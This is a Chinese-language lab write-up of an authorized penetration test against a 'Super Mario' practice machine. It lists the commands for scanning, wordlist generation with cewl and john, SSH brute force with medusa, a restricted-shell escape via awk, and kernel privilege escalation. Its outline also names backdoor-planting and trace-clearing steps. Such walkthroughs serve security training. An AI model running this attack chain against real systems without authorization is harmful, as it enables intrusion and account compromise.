一. 实验环境
二. 实验流程
三. 实验步骤
(一)信息收集——主机发现
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 查看靶机页面;
3. 扫描主机(netdiscover)
(二)信息收集——端口扫描
1. 扫描端口(masscan)
2. 详细扫描端口信息(nmap)
(三)渗透测试
8180端口(http服务)
1. 访问目标靶机的80端口
2. 网站目录扫描(dirb)
3. 查看扫描到的网站目录
4. 修改物理主机的hosts文件;
5. 使用目录爆破工具继续查看;
6. 生成针对的字典并爆破;
7. 提权
8. 留后门,清痕迹;
四. 实验总结
- 靶机:超级玛丽,IP地址暂时未知;
- 测试机:Kali,IP地址:192.168.37.131;
- 测试机:物理机win7;
- 信息收集——主机发现
- 信息收集——端口扫描
- 渗透测试
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
masscan --rate=10000 --ports 0-65535 192.168.37.148
扫描发现目标开放了22,8180端口;
nmap -T4 -sV -O -p 22,8180 192.168.37.148
22(ssh),8180(http);
http://192.168.37.148:8180
dirb http://192.168.37.148:8180
尝试拿大字典扫描
3.1> http://192.168.37.148:8180/index.html
3.2> http://192.168.37.148:8180/vhosts
ServerName mario.supermariohost.local
- Windows中hosts文件:C:\Windows\System32\drivers\etc\hosts
- Linux中hosts文件:/etc/hosts
- Hosts文件作用:将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从hosts文件中去寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,系统则会再将网址提交DNS域名解析服务器进行IP地址解析
5.1> http://mario.supermariohost.local:8180/luigi.php
可以针对出现的内容生成自定义的字典;
5.2> http://mario.supermariohost.local:8180/mario.php
6.1> 在Kali中,将主机和对应域名写入hosts文件;
6.2> 使用命令生成自定义字典;
cewl http://mario.supermariohost.local:8180/luigi.php -d -w /root/dict.txt
6.3> 针对生成的字典做筛选,删除重复和一些明显无用的信息;
6.4> 将字典生成用户名;
john --wordlist=/root/dict.txt --stdout --rules > user
并做一些简单的筛选;
6.5> 将字典生成密码;
john --wordlist=/root/dict.txt --stdout --rules > passwd
6.6> 使用medusa进行ssh爆破;(也可以使用其他工具)
medusa -M ssh -h 192.168.37.148 -U user -P passwd
成功获取用户名和密码;用户名:luigi,密码:luigi1
6.7> 尝试ssh远程连接;
成功获取shell,但是限制shell交互;
7.1> help命令查看靶机支持的命令;
能使用awk命令,awk调用shell命令有两种方法,system与print;
7.2> 使用AWK命令调用shell命令;
awk 'BEGIN{system("/bin/bash")}'
成功获取了交互式的shell;接下来就需要提权;
7.3> 查看版本的信息;
7.4> 使用Kali搜索版本的漏洞;
searchsploit 3.13.
7.5> 将exp下载到靶机上;
7.6> 编译并执行;
成功获取root权限;
- 网站目录中的信息要格外关注,是渗透进网站的突破口;
- 针对网页中出现用户名的信息,可以做成一个针对性的字典去爆破;
- Help命令可以查看主机支持的命令;根据支持的命令就有可能获取shell;